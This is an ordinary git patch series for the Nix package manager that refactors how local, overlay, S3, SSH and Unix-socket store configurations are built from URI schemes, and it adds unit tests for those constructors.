b/src/libstore/local-fs-store.hh index 8fb081200..9bb569f0b 100644 --- a/src/libstore/local-fs-store.hh +++ b/src/libstore/local-fs-store.hh @@ -11,6 +11,15 @@ struct LocalFSStoreConfig : virtual StoreConfig { using StoreConfig::StoreConfig; + /** + * Used to override the `root` settings. Can't be done via modifying + * `params` reliably because this parameter is unused except for + * passing to base class constructors. + * + * @todo Make this less error-prone with new store settings system. + */ + LocalFSStoreConfig(PathView path, const Params & params); + const OptionalPathSetting rootDir{this, std::nullopt, "root", "Directory prefixed to all other paths."}; diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 598415db8..ec2c5f4e9 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -18,11 +18,11 @@ Path LocalOverlayStoreConfig::toUpperPath(const StorePath & path) { return upperLayer + "/" + path.to_string(); } -LocalOverlayStore::LocalOverlayStore(const Params & params) +LocalOverlayStore::LocalOverlayStore(std::string_view scheme, PathView path, const Params & params) : StoreConfig(params) - , LocalFSStoreConfig(params) + , LocalFSStoreConfig(path, params) , LocalStoreConfig(params) - , LocalOverlayStoreConfig(params) + , LocalOverlayStoreConfig(scheme, path, params) , Store(params) , LocalFSStore(params) , LocalStore(params) diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 35a301013..a3f15e484 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -8,11 +8,16 @@ namespace nix { struct LocalOverlayStoreConfig : virtual LocalStoreConfig { LocalOverlayStoreConfig(const StringMap & params) - : StoreConfig(params) - , LocalFSStoreConfig(params) - , LocalStoreConfig(params) + : LocalOverlayStoreConfig("local-overlay", "", params) { } + LocalOverlayStoreConfig(std::string_view scheme, PathView path, const Params & params) + : StoreConfig(params) + , LocalFSStoreConfig(path, params) + , LocalStoreConfig(scheme, path, params) + { + } + const Setting lowerStoreUri{(StoreConfig*) this, "", "lower-store", R"( [Store URL](@docroot@/command-ref/new-cli/nix3-help-stores.md#store-url-format) @@ -90,15 +95,13 @@ class LocalOverlayStore : public virtual LocalOverlayStoreConfig, public virtual ref lowerStore; public: - LocalOverlayStore(const Params & params); - - LocalOverlayStore(std::string_view scheme, PathView path, const Params & params) - : LocalOverlayStore(params) + LocalOverlayStore(const Params & params) + : LocalOverlayStore("local-overlay", "", params) { - if (!path.empty()) - throw UsageError("local-overlay:// store url doesn't support path part, only scheme and query params"); } + LocalOverlayStore(std::string_view scheme, PathView path, const Params & params); + static std::set uriSchemes() { return { "local-overlay" }; diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 82b70ff21..819cee345 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -56,6 +56,15 @@ namespace nix { +LocalStoreConfig::LocalStoreConfig( + std::string_view scheme, + std::string_view authority, + const Params & params) + : StoreConfig(params) + , LocalFSStoreConfig(authority, params) +{ +} + std::string LocalStoreConfig::doc() { return @@ -183,10 +192,13 @@ void migrateCASchema(SQLite& db, Path schemaPath, AutoCloseFD& lockFd) } } -LocalStore::LocalStore(const Params & params) +LocalStore::LocalStore( + std::string_view scheme, + PathView path, + const Params & params) : StoreConfig(params) - , LocalFSStoreConfig(params) - , LocalStoreConfig(params) + , LocalFSStoreConfig(path, params) + , LocalStoreConfig(scheme, path, params) , Store(params) , LocalFSStore(params) , dbDir(stateDir + "/db") @@ -465,19 +477,8 @@ LocalStore::LocalStore(const Params & params) } -LocalStore::LocalStore( - std::string_view scheme, - PathView path, - const Params & _params) - : LocalStore([&]{ - // Default `?root` from `path` if non set - if (!path.empty() && _params.count("root") == 0) { - auto params = _params; - params.insert_or_assign("root", std::string { path }); - return params; - } - return _params; - }()) +LocalStore::LocalStore(const Params & params) + : LocalStore("local", "", params) { } diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index b0a0def9a..026729bf2 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -38,6 +38,11 @@ struct LocalStoreConfig : virtual LocalFSStoreConfig { using LocalFSStoreConfig::LocalFSStoreConfig; + LocalStoreConfig( + std::string_view scheme, + std::string_view authority, + const Params & params); + Setting requireSigs{this, settings.requireSigs, "require-sigs", diff --git a/src/libstore/meson.build b/src/libstore/meson.build index 297bf7187..29ee95b75 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -243,10 +243,12 @@ headers = [config_h] + files( 'filetransfer.hh', 'gc-store.hh', 'globals.hh', + 'http-binary-cache-store.hh', 'indirect-root-store.hh', 'keys.hh', 'legacy-ssh-store.hh', 'length-prefixed-protocol-helper.hh', + 'local-binary-cache-store.hh', 'local-fs-store.hh', 'local-overlay-store.hh', 'local-store.hh', diff --git a/src/libstore/s3-binary-cache-store.cc b/src/libstore/s3-binary-cache-store.cc index 27013c0f1..d865684d7 100644 --- a/src/libstore/s3-binary-cache-store.cc +++ b/src/libstore/s3-binary-cache-store.cc @@ -1,5 +1,7 @@ #if ENABLE_S3 +#include + #include "s3.hh" #include "s3-binary-cache-store.hh" #include "nar-info.hh" @@ -190,76 +192,31 @@ S3BinaryCacheStore::S3BinaryCacheStore(const Params & params) , BinaryCacheStore(params) { } -struct S3BinaryCacheStoreConfig : virtual BinaryCacheStoreConfig + +S3BinaryCacheStoreConfig::S3BinaryCacheStoreConfig( + std::string_view uriScheme, + std::string_view bucketName, + const Params & params) + : StoreConfig(params) + , BinaryCacheStoreConfig(params) + , bucketName(bucketName) { - using BinaryCacheStoreConfig::BinaryCacheStoreConfig; + // Don't want to use use AWS SDK in header, so we check the default + // here. TODO do this better after we overhaul the store settings + // system. + assert(std::string{defaultRegion} == std::string{Aws::Region::US_EAST_1}); - const Setting profile{this, "", "profile", - R"( - The name of the AWS configuration profile to use. By default - Nix will use the `default` profile. - )"}; + if (bucketName.empty()) + throw UsageError("`%s` store requires a bucket name in its Store URI", uriScheme); +} - const Setting region{this, Aws::Region::US_EAST_1, "region", - R"( - The region of the S3 bucket. If your bucket is not in - `us–east-1`, you should always explicitly specify the region - parameter. - )"}; +std::string S3BinaryCacheStoreConfig::doc() +{ + return + #include "s3-binary-cache-store.md" + ; +} - const Setting scheme{this, "", "scheme", - R"( - The scheme used for S3 requests, `https` (default) or `http`. This - option allows you to disable HTTPS for binary caches which don't - support it. - - > **Note** - > - > HTTPS should be used if the cache might contain sensitive - > information. - )"}; - - const Setting endpoint{this, "", "endpoint", - R"( - The URL of the endpoint of an S3-compatible service such as MinIO. - Do not specify this setting if you're using Amazon S3. - - > **Note** - > - > This endpoint must support HTTPS and will use path-based - > addressing instead of virtual host based addressing. - )"}; - - const Setting narinfoCompression{this, "", "narinfo-compression", - "Compression method for `.narinfo` files."}; - - const Setting lsCompression{this, "", "ls-compression", - "Compression method for `.ls` files."}; - - const Setting logCompression{this, "", "log-compression", - R"( - Compression method for `log/*` files. It is recommended to - use a compression method supported by most web browsers - (e.g. `brotli`). - )"}; - - const Setting multipartUpload{ - this, false, "multipart-upload", - "Whether to use multi-part uploads."}; - - const Setting bufferSize{ - this, 5 * 1024 * 1024, "buffer-size", - "Size (in bytes) of each part in multi-part uploads."}; - - const std::string name() override { return "S3 Binary Cache Store"; } - - std::string doc() override - { - return - #include "s3-binary-cache-store.md" - ; - } -}; struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual S3BinaryCacheStore { @@ -275,15 +232,12 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual const Params & params) : StoreConfig(params) , BinaryCacheStoreConfig(params) - , S3BinaryCacheStoreConfig(params) + , S3BinaryCacheStoreConfig(uriScheme, bucketName, params) , Store(params) , BinaryCacheStore(params) , S3BinaryCacheStore(params) - , bucketName(bucketName) , s3Helper(profile, region, scheme, endpoint) { - if (bucketName.empty()) - throw UsageError("`%s` store requires a bucket name in its Store URI", uriScheme); diskCache = getNarInfoDiskCache(); } diff --git a/src/libstore/s3-binary-cache-store.hh b/src/libstore/s3-binary-cache-store.hh index c62ea5147..bca5196cd 100644 --- a/src/libstore/s3-binary-cache-store.hh +++ b/src/libstore/s3-binary-cache-store.hh @@ -7,6 +7,96 @@ namespace nix { +struct S3BinaryCacheStoreConfig : virtual BinaryCacheStoreConfig +{ + std::string bucketName; + + using BinaryCacheStoreConfig::BinaryCacheStoreConfig; + + S3BinaryCacheStoreConfig(std::string_view uriScheme, std::string_view bucketName, const Params & params); + + const Setting profile{ + this, + "", + "profile", + R"( + The name of the AWS configuration profile to use. By default + Nix will use the `default` profile. + )"}; + +protected: + + constexpr static const char * defaultRegion = "us-east-1"; + +public: + + const Setting region{ + this, + defaultRegion, + "region", + R"( + The region of the S3 bucket. If your bucket is not in + `us–east-1`, you should always explicitly specify the region + parameter. + )"}; + + const Setting scheme{ + this, + "", + "scheme", + R"( + The scheme used for S3 requests, `https` (default) or `http`. This + option allows you to disable HTTPS for binary caches which don't + support it. + + > **Note** + > + > HTTPS should be used if the cache might contain sensitive + > information. + )"}; + + const Setting endpoint{ + this, + "", + "endpoint", + R"( + The URL of the endpoint of an S3-compatible service such as MinIO. + Do not specify this setting if you're using Amazon S3. + + > **Note** + > + > This endpoint must support HTTPS and will use path-based + > addressing instead of virtual host based addressing. + )"}; + + const Setting narinfoCompression{ + this, "", "narinfo-compression", "Compression method for `.narinfo` files."}; + + const Setting lsCompression{this, "", "ls-compression", "Compression method for `.ls` files."}; + + const Setting logCompression{ + this, + "", + "log-compression", + R"( + Compression method for `log/*` files. It is recommended to + use a compression method supported by most web browsers + (e.g. `brotli`). + )"}; + + const Setting multipartUpload{this, false, "multipart-upload", "Whether to use multi-part uploads."}; + + const Setting bufferSize{ + this, 5 * 1024 * 1024, "buffer-size", "Size (in bytes) of each part in multi-part uploads."}; + + const std::string name() override + { + return "S3 Binary Cache Store"; + } + + std::string doc() override; +}; + class S3BinaryCacheStore : public virtual BinaryCacheStore { protected: diff --git a/src/libstore/ssh-store.cc b/src/libstore/ssh-store.cc index b21c22d7e..d63995bf3 100644 --- a/src/libstore/ssh-store.cc +++ b/src/libstore/ssh-store.cc @@ -89,43 +89,32 @@ protected: }; }; -struct MountedSSHStoreConfig : virtual SSHStoreConfig, virtual LocalFSStoreConfig + +MountedSSHStoreConfig::MountedSSHStoreConfig(StringMap params) + : StoreConfig(params) + , RemoteStoreConfig(params) + , CommonSSHStoreConfig(params) + , SSHStoreConfig(params) + , LocalFSStoreConfig(params) { - using SSHStoreConfig::SSHStoreConfig; - using LocalFSStoreConfig::LocalFSStoreConfig; +} - MountedSSHStoreConfig(StringMap params) - : StoreConfig(params) - , RemoteStoreConfig(params) - , CommonSSHStoreConfig(params) - , SSHStoreConfig(params) - , LocalFSStoreConfig(params) - { - } +MountedSSHStoreConfig::MountedSSHStoreConfig(std::string_view scheme, std::string_view host, StringMap params) + : StoreConfig(params) + , RemoteStoreConfig(params) + , CommonSSHStoreConfig(scheme, host, params) + , SSHStoreConfig(params) + , LocalFSStoreConfig(params) +{ +} - MountedSSHStoreConfig(std::string_view scheme, std::string_view host, StringMap params) - : StoreConfig(params) - , RemoteStoreConfig(params) - , CommonSSHStoreConfig(scheme, host, params) - , SSHStoreConfig(params) - , LocalFSStoreConfig(params) - { - } +std::string MountedSSHStoreConfig::doc() +{ + return + #include "mounted-ssh-store.md" + ; +} - const std::string name() override { return "Experimental SSH Store with filesystem mounted"; } - - std::string doc() override - { - return - #include "mounted-ssh-store.md" - ; - } - - std::optional experimentalFeature() const override - { - return ExperimentalFeature::MountedSSHStore; - } -}; /** * The mounted ssh store assumes that filesystems on the remote host are diff --git a/src/libstore/ssh-store.hh b/src/libstore/ssh-store.hh index 6ef2219a2..feb57ccba 100644 --- a/src/libstore/ssh-store.hh +++ b/src/libstore/ssh-store.hh @@ -3,6 +3,7 @@ #include "common-ssh-store-config.hh" #include "store-api.hh" +#include "local-fs-store.hh" #include "remote-store.hh" namespace nix { @@ -25,4 +26,26 @@ struct SSHStoreConfig : virtual RemoteStoreConfig, virtual CommonSSHStoreConfig std::string doc() override; }; +struct MountedSSHStoreConfig : virtual SSHStoreConfig, virtual LocalFSStoreConfig +{ + using LocalFSStoreConfig::LocalFSStoreConfig; + using SSHStoreConfig::SSHStoreConfig; + + MountedSSHStoreConfig(StringMap params); + + MountedSSHStoreConfig(std::string_view scheme, std::string_view host, StringMap params); + + const std::string name() override + { + return "Experimental SSH Store with filesystem mounted"; + } + + std::string doc() override; + + std::optional experimentalFeature() const override + { + return ExperimentalFeature::MountedSSHStore; + } +}; + } diff --git a/src/libstore/uds-remote-store.cc b/src/libstore/uds-remote-store.cc index 499f76967..3c445eb13 100644 --- a/src/libstore/uds-remote-store.cc +++ b/src/libstore/uds-remote-store.cc @@ -2,10 +2,8 @@ #include "unix-domain-socket.hh" #include "worker-protocol.hh" -#include #include #include -#include #include #include @@ -19,6 +17,21 @@ namespace nix { +UDSRemoteStoreConfig::UDSRemoteStoreConfig( + std::string_view scheme, + std::string_view authority, + const Params & params) + : StoreConfig(params) + , LocalFSStoreConfig(params) + , RemoteStoreConfig(params) + , path{authority.empty() ? settings.nixDaemonSocketFile : authority} +{ + if (scheme != UDSRemoteStoreConfig::scheme) { + throw UsageError("Scheme must be 'unix'"); + } +} + + std::string UDSRemoteStoreConfig::doc() { return @@ -27,11 +40,20 @@ std::string UDSRemoteStoreConfig::doc() } +// A bit gross that we now pass empty string but this is knowing that +// empty string will later default to the same nixDaemonSocketFile. Why +// don't we just wire it all through? I believe there are cases where it +// will live reload so we want to continue to account for that. UDSRemoteStore::UDSRemoteStore(const Params & params) + : UDSRemoteStore(scheme, "", params) +{} + + +UDSRemoteStore::UDSRemoteStore(std::string_view scheme, std::string_view authority, const Params & params) : StoreConfig(params) , LocalFSStoreConfig(params) , RemoteStoreConfig(params) - , UDSRemoteStoreConfig(params) + , UDSRemoteStoreConfig(scheme, authority, params) , Store(params) , LocalFSStore(params) , RemoteStore(params) @@ -39,25 +61,15 @@ UDSRemoteStore::UDSRemoteStore(const Params & params) } -UDSRemoteStore::UDSRemoteStore( - std::string_view scheme, - PathView socket_path, - const Params & params) - : UDSRemoteStore(params) -{ - if (!socket_path.empty()) - path.emplace(socket_path); -} - - std::string UDSRemoteStore::getUri() { - if (path) { - return std::string("unix://") + *path; - } else { - // unix:// with no path also works. Change what we return? - return "daemon"; - } + return path == settings.nixDaemonSocketFile + ? // FIXME: Not clear why we return daemon here and not default + // to settings.nixDaemonSocketFile + // + // unix:// with no path also works. Change what we return? + "daemon" + : std::string(scheme) + "://" + path; } @@ -74,7 +86,7 @@ ref UDSRemoteStore::openConnection() /* Connect to a daemon that does the privileged work for us. */ conn->fd = createUnixDomainSocket(); - nix::connect(toSocket(conn->fd.get()), path ? *path : settings.nixDaemonSocketFile); + nix::connect(toSocket(conn->fd.get()), path); conn->from.fd = conn->fd.get(); conn->to.fd = conn->fd.get(); diff --git a/src/libstore/uds-remote-store.hh b/src/libstore/uds-remote-store.hh index 6f0494bb6..0e9542eab 100644 --- a/src/libstore/uds-remote-store.hh +++ b/src/libstore/uds-remote-store.hh @@ -9,16 +9,33 @@ namespace nix { struct UDSRemoteStoreConfig : virtual LocalFSStoreConfig, virtual RemoteStoreConfig { - UDSRemoteStoreConfig(const Params & params) - : StoreConfig(params) - , LocalFSStoreConfig(params) - , RemoteStoreConfig(params) - { - } + // TODO(fzakaria): Delete this constructor once moved over to the factory pattern + // outlined in https://github.com/NixOS/nix/issues/10766 + using LocalFSStoreConfig::LocalFSStoreConfig; + using RemoteStoreConfig::RemoteStoreConfig; + + /** + * @param authority is the socket path. + */ + UDSRemoteStoreConfig( + std::string_view scheme, + std::string_view authority, + const Params & params); const std::string name() override { return "Local Daemon Store"; } std::string doc() override; + + /** + * The path to the unix domain socket. + * + * The default is `settings.nixDaemonSocketFile`, but we don't write + * that below, instead putting in the constructor. + */ + Path path; + +protected: + static constexpr char const * scheme = "unix"; }; class UDSRemoteStore : public virtual UDSRemoteStoreConfig @@ -27,16 +44,23 @@ class UDSRemoteStore : public virtual UDSRemoteStoreConfig { public: + /** + * @deprecated This is the old API to construct the store. + */ UDSRemoteStore(const Params & params); + + /** + * @param authority is the socket path. + */ UDSRemoteStore( std::string_view scheme, - PathView path, + std::string_view authority, const Params & params); std::string getUri() override; static std::set uriSchemes() - { return {"unix"}; } + { return {scheme}; } ref getFSAccessor(bool requireValidPath = true) override { return LocalFSStore::getFSAccessor(requireValidPath); } @@ -63,7 +87,6 @@ private: }; ref openConnection() override; - std::optional path; }; } diff --git a/tests/unit/libstore/http-binary-cache-store.cc b/tests/unit/libstore/http-binary-cache-store.cc new file mode 100644 index 000000000..1e415f625 --- /dev/null +++ b/tests/unit/libstore/http-binary-cache-store.cc @@ -0,0 +1,21 @@ +#include + +#include "http-binary-cache-store.hh" + +namespace nix { + +TEST(HttpBinaryCacheStore, constructConfig) +{ + HttpBinaryCacheStoreConfig config{"http", "foo.bar.baz", {}}; + + EXPECT_EQ(config.cacheUri, "http://foo.bar.baz"); +} + +TEST(HttpBinaryCacheStore, constructConfigNoTrailingSlash) +{ + HttpBinaryCacheStoreConfig config{"https", "foo.bar.baz/a/b/", {}}; + + EXPECT_EQ(config.cacheUri, "https://foo.bar.baz/a/b"); +} + +} // namespace nix diff --git a/tests/unit/libstore/local-binary-cache-store.cc b/tests/unit/libstore/local-binary-cache-store.cc new file mode 100644 index 000000000..2e840228d --- /dev/null +++ b/tests/unit/libstore/local-binary-cache-store.cc @@ -0,0 +1,14 @@ +#include + +#include "local-binary-cache-store.hh" + +namespace nix { + +TEST(LocalBinaryCacheStore, constructConfig) +{ + LocalBinaryCacheStoreConfig config{"local", "/foo/bar/baz", {}}; + + EXPECT_EQ(config.binaryCacheDir, "/foo/bar/baz"); +} + +} // namespace nix diff --git a/tests/unit/libstore/local-overlay-store.cc b/tests/unit/libstore/local-overlay-store.cc new file mode 100644 index 000000000..b34ca9237 --- /dev/null +++ b/tests/unit/libstore/local-overlay-store.cc @@ -0,0 +1,34 @@ +// FIXME: Odd failures for templates that are causing the PR to break +// for now with discussion with @Ericson2314 to comment out. +#if 0 +# include + +# include "local-overlay-store.hh" + +namespace nix { + +TEST(LocalOverlayStore, constructConfig_rootQueryParam) +{ + LocalOverlayStoreConfig config{ + "local-overlay", + "", + { + { + "root", + "/foo/bar", + }, + }, + }; + + EXPECT_EQ(config.rootDir.get(), std::optional{"/foo/bar"}); +} + +TEST(LocalOverlayStore, constructConfig_rootPath) +{ + LocalOverlayStoreConfig config{"local-overlay", "/foo/bar", {}}; + + EXPECT_EQ(config.rootDir.get(), std::optional{"/foo/bar"}); +} + +} // namespace nix +#endif diff --git a/tests/unit/libstore/local-store.cc b/tests/unit/libstore/local-store.cc new file mode 100644 index 000000000..abc3ea796 --- /dev/null +++ b/tests/unit/libstore/local-store.cc @@ -0,0 +1,40 @@ +// FIXME: Odd failures for templates that are causing the PR to break +// for now with discussion with @Ericson2314 to comment out. +#if 0 +# include + +# include "local-store.hh" + +// Needed for template specialisations. This is not good! When we +// overhaul how store configs work, this should be fixed. +# include "args.hh" +# include "config-impl.hh" +# include "abstract-setting-to-json.hh" + +namespace nix { + +TEST(LocalStore, constructConfig_rootQueryParam) +{ + LocalStoreConfig config{ + "local", + "", + { + { + "root", + "/foo/bar", + }, + }, + }; + + EXPECT_EQ(config.rootDir.get(), std::optional{"/foo/bar"}); +} + +TEST(LocalStore, constructConfig_rootPath) +{ + LocalStoreConfig config{"local", "/foo/bar", {}}; + + EXPECT_EQ(config.rootDir.get(), std::optional{"/foo/bar"}); +} + +} // namespace nix +#endif diff --git a/tests/unit/libstore/meson.build b/tests/unit/libstore/meson.build index 41b2fb0ab..8534ba8c5 100644 --- a/tests/unit/libstore/meson.build +++ b/tests/unit/libstore/meson.build @@ -58,7 +58,11 @@ sources = files( 'derivation.cc', 'derived-path.cc', 'downstream-placeholder.cc', + 'http-binary-cache-store.cc', 'legacy-ssh-store.cc', + 'local-binary-cache-store.cc', + 'local-overlay-store.cc', + 'local-store.cc', 'machines.cc', 'nar-info-disk-cache.cc', 'nar-info.cc', @@ -67,9 +71,11 @@ sources = files( 'path-info.cc', 'path.cc', 'references.cc', + 's3-binary-cache-store.cc', 'serve-protocol.cc', 'ssh-store.cc', 'store-reference.cc', + 'uds-remote-store.cc', 'worker-protocol.cc', ) diff --git a/tests/unit/libstore/s3-binary-cache-store.cc b/tests/unit/libstore/s3-binary-cache-store.cc new file mode 100644 index 000000000..7aa5f2f2c --- /dev/null +++ b/tests/unit/libstore/s3-binary-cache-store.cc @@ -0,0 +1,18 @@ +#if ENABLE_S3 + +# include + +# include "s3-binary-cache-store.hh" + +namespace nix { + +TEST(S3BinaryCacheStore, constructConfig) +{ + S3BinaryCacheStoreConfig config{"s3", "foobar", {}}; + + EXPECT_EQ(config.bucketName, "foobar"); +} + +} // namespace nix + +#endif diff --git a/tests/unit/libstore/ssh-store.cc b/tests/unit/libstore/ssh-store.cc index 7010ad157..b853a5f1f 100644 --- a/tests/unit/libstore/ssh-store.cc +++ b/tests/unit/libstore/ssh-store.cc @@ -1,6 +1,9 @@ -#include +// FIXME: Odd failures for templates that are causing the PR to break +// for now with discussion with @Ericson2314 to comment out. +#if 0 +# include -#include "ssh-store.hh" +# include "ssh-store.hh" namespace nix { @@ -15,7 +18,9 @@ TEST(SSHStore, constructConfig) // TODO #11106, no more split on space "foo bar", }, - }}; + }, + }; + EXPECT_EQ( config.remoteProgram.get(), (Strings{ @@ -23,4 +28,28 @@ TEST(SSHStore, constructConfig) "bar", })); } + +TEST(MountedSSHStore, constructConfig) +{ + MountedSSHStoreConfig config{ + "mounted-ssh", + "localhost", + StoreConfig::Params{ + { + "remote-program", + // TODO #11106, no more split on space + "foo bar", + }, + }, + }; + + EXPECT_EQ( + config.remoteProgram.get(), + (Strings{ + "foo", + "bar", + })); } + +} +#endif diff --git a/tests/unit/libstore/uds-remote-store.cc b/tests/unit/libstore/uds-remote-store.cc new file mode 100644 index 000000000..5ccb20871 --- /dev/null +++ b/tests/unit/libstore/uds-remote-store.cc @@ -0,0 +1,23 @@ +// FIXME: Odd failures for templates that are causing the PR to break +// for now with discussion with @Ericson2314 to comment out. +#if 0 +# include + +# include "uds-remote-store.hh" + +namespace nix { + +TEST(UDSRemoteStore, constructConfig) +{ + UDSRemoteStoreConfig config{"unix", "/tmp/socket", {}}; + + EXPECT_EQ(config.path, "/tmp/socket"); +} + +TEST(UDSRemoteStore, constructConfigWrongScheme) +{ + EXPECT_THROW(UDSRemoteStoreConfig("http", "/tmp/socket", {}), UsageError); +} + +} // namespace nix +#endif From 2aa9cf34dda0115f07bc7aef020ffb0cda8944e0 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 15 Jul 2024 23:26:39 -0400 Subject: [PATCH 1132/1251] Move `uriSchemes` to `*StoreConfig` It is a property of the configuration of a store --- how a store URL is parsed into a store config, not a store itself. Progress towards #10766 --- src/libstore/dummy-store.cc | 8 ++++---- src/libstore/http-binary-cache-store.cc | 8 -------- src/libstore/http-binary-cache-store.hh | 9 +++++++++ src/libstore/legacy-ssh-store.hh | 4 ++-- src/libstore/local-binary-cache-store.cc | 4 +--- src/libstore/local-binary-cache-store.hh | 2 ++ src/libstore/local-overlay-store.hh | 10 +++++----- src/libstore/local-store.hh | 6 +++--- src/libstore/s3-binary-cache-store.cc | 3 --- src/libstore/s3-binary-cache-store.hh | 5 +++++ src/libstore/ssh-store.cc | 7 ------- src/libstore/ssh-store.hh | 10 ++++++++++ src/libstore/store-api.hh | 6 +++++- src/libstore/uds-remote-store.hh | 7 ++++--- 14 files changed, 50 insertions(+), 39 deletions(-) diff --git a/src/libstore/dummy-store.cc b/src/libstore/dummy-store.cc index af0dd9092..c1e871e93 100644 --- a/src/libstore/dummy-store.cc +++ b/src/libstore/dummy-store.cc @@ -21,6 +21,10 @@ struct DummyStoreConfig : virtual StoreConfig { #include "dummy-store.md" ; } + + static std::set uriSchemes() { + return {"dummy"}; + } }; struct DummyStore : public virtual DummyStoreConfig, public virtual Store @@ -54,10 +58,6 @@ struct DummyStore : public virtual DummyStoreConfig, public virtual Store return Trusted; } - static std::set uriSchemes() { - return {"dummy"}; - } - std::optional queryPathFromHashPart(const std::string & hashPart) override { unsupported("queryPathFromHashPart"); } diff --git a/src/libstore/http-binary-cache-store.cc b/src/libstore/http-binary-cache-store.cc index 49ec26b9f..b15ef4e4c 100644 --- a/src/libstore/http-binary-cache-store.cc +++ b/src/libstore/http-binary-cache-store.cc @@ -83,14 +83,6 @@ public: } } - static std::set uriSchemes() - { - static bool forceHttp = getEnv("_NIX_FORCE_HTTP") == "1"; - auto ret = std::set({"http", "https"}); - if (forceHttp) ret.insert("file"); - return ret; - } - protected: void maybeDisable() diff --git a/src/libstore/http-binary-cache-store.hh b/src/libstore/http-binary-cache-store.hh index 230e52b33..d2fc43210 100644 --- a/src/libstore/http-binary-cache-store.hh +++ b/src/libstore/http-binary-cache-store.hh @@ -15,6 +15,15 @@ struct HttpBinaryCacheStoreConfig : virtual BinaryCacheStoreConfig return "HTTP Binary Cache Store"; } + static std::set uriSchemes() + { + static bool forceHttp = getEnv("_NIX_FORCE_HTTP") == "1"; + auto ret = std::set({"http", "https"}); + if (forceHttp) + ret.insert("file"); + return ret; + } + std::string doc() override; }; diff --git a/src/libstore/legacy-ssh-store.hh b/src/libstore/legacy-ssh-store.hh index f26651898..b541455b4 100644 --- a/src/libstore/legacy-ssh-store.hh +++ b/src/libstore/legacy-ssh-store.hh @@ -26,6 +26,8 @@ struct LegacySSHStoreConfig : virtual CommonSSHStoreConfig const std::string name() override { return "SSH Store"; } + static std::set uriSchemes() { return {"ssh"}; } + std::string doc() override; }; @@ -46,8 +48,6 @@ struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Stor SSHMaster master; - static std::set uriSchemes() { return {"ssh"}; } - LegacySSHStore( std::string_view scheme, std::string_view host, diff --git a/src/libstore/local-binary-cache-store.cc b/src/libstore/local-binary-cache-store.cc index 106663132..dcc6affe4 100644 --- a/src/libstore/local-binary-cache-store.cc +++ b/src/libstore/local-binary-cache-store.cc @@ -51,8 +51,6 @@ struct LocalBinaryCacheStore : virtual LocalBinaryCacheStoreConfig, virtual Bina return "file://" + binaryCacheDir; } - static std::set uriSchemes(); - protected: bool fileExists(const std::string & path) override; @@ -121,7 +119,7 @@ bool LocalBinaryCacheStore::fileExists(const std::string & path) return pathExists(binaryCacheDir + "/" + path); } -std::set LocalBinaryCacheStore::uriSchemes() +std::set LocalBinaryCacheStoreConfig::uriSchemes() { if (getEnv("_NIX_FORCE_HTTP") == "1") return {}; diff --git a/src/libstore/local-binary-cache-store.hh b/src/libstore/local-binary-cache-store.hh index 7701eb38b..997e8ecbb 100644 --- a/src/libstore/local-binary-cache-store.hh +++ b/src/libstore/local-binary-cache-store.hh @@ -15,6 +15,8 @@ struct LocalBinaryCacheStoreConfig : virtual BinaryCacheStoreConfig return "Local Binary Cache Store"; } + static std::set uriSchemes(); + std::string doc() override; }; diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index a3f15e484..63628abed 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -63,6 +63,11 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig return ExperimentalFeature::LocalOverlayStore; } + static std::set uriSchemes() + { + return { "local-overlay" }; + } + std::string doc() override; protected: @@ -102,11 +107,6 @@ public: LocalOverlayStore(std::string_view scheme, PathView path, const Params & params); - static std::set uriSchemes() - { - return { "local-overlay" }; - } - std::string getUri() override { return "local-overlay://"; diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index 026729bf2..a03cfc03b 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -67,6 +67,9 @@ struct LocalStoreConfig : virtual LocalFSStoreConfig const std::string name() override { return "Local Store"; } + static std::set uriSchemes() + { return {"local"}; } + std::string doc() override; }; @@ -149,9 +152,6 @@ public: ~LocalStore(); - static std::set uriSchemes() - { return {"local"}; } - /** * Implementations of abstract store API methods. */ diff --git a/src/libstore/s3-binary-cache-store.cc b/src/libstore/s3-binary-cache-store.cc index d865684d7..1a0ec1111 100644 --- a/src/libstore/s3-binary-cache-store.cc +++ b/src/libstore/s3-binary-cache-store.cc @@ -475,9 +475,6 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual { return std::nullopt; } - - static std::set uriSchemes() { return {"s3"}; } - }; static RegisterStoreImplementation regS3BinaryCacheStore; diff --git a/src/libstore/s3-binary-cache-store.hh b/src/libstore/s3-binary-cache-store.hh index bca5196cd..7d303a115 100644 --- a/src/libstore/s3-binary-cache-store.hh +++ b/src/libstore/s3-binary-cache-store.hh @@ -94,6 +94,11 @@ public: return "S3 Binary Cache Store"; } + static std::set uriSchemes() + { + return {"s3"}; + } + std::string doc() override; }; diff --git a/src/libstore/ssh-store.cc b/src/libstore/ssh-store.cc index d63995bf3..954a97467 100644 --- a/src/libstore/ssh-store.cc +++ b/src/libstore/ssh-store.cc @@ -47,8 +47,6 @@ public: { } - static std::set uriSchemes() { return {"ssh-ng"}; } - std::string getUri() override { return *uriSchemes().begin() + "://" + host; @@ -154,11 +152,6 @@ public: }; } - static std::set uriSchemes() - { - return {"mounted-ssh-ng"}; - } - std::string getUri() override { return *uriSchemes().begin() + "://" + host; diff --git a/src/libstore/ssh-store.hh b/src/libstore/ssh-store.hh index feb57ccba..29a2a8b2c 100644 --- a/src/libstore/ssh-store.hh +++ b/src/libstore/ssh-store.hh @@ -23,6 +23,11 @@ struct SSHStoreConfig : virtual RemoteStoreConfig, virtual 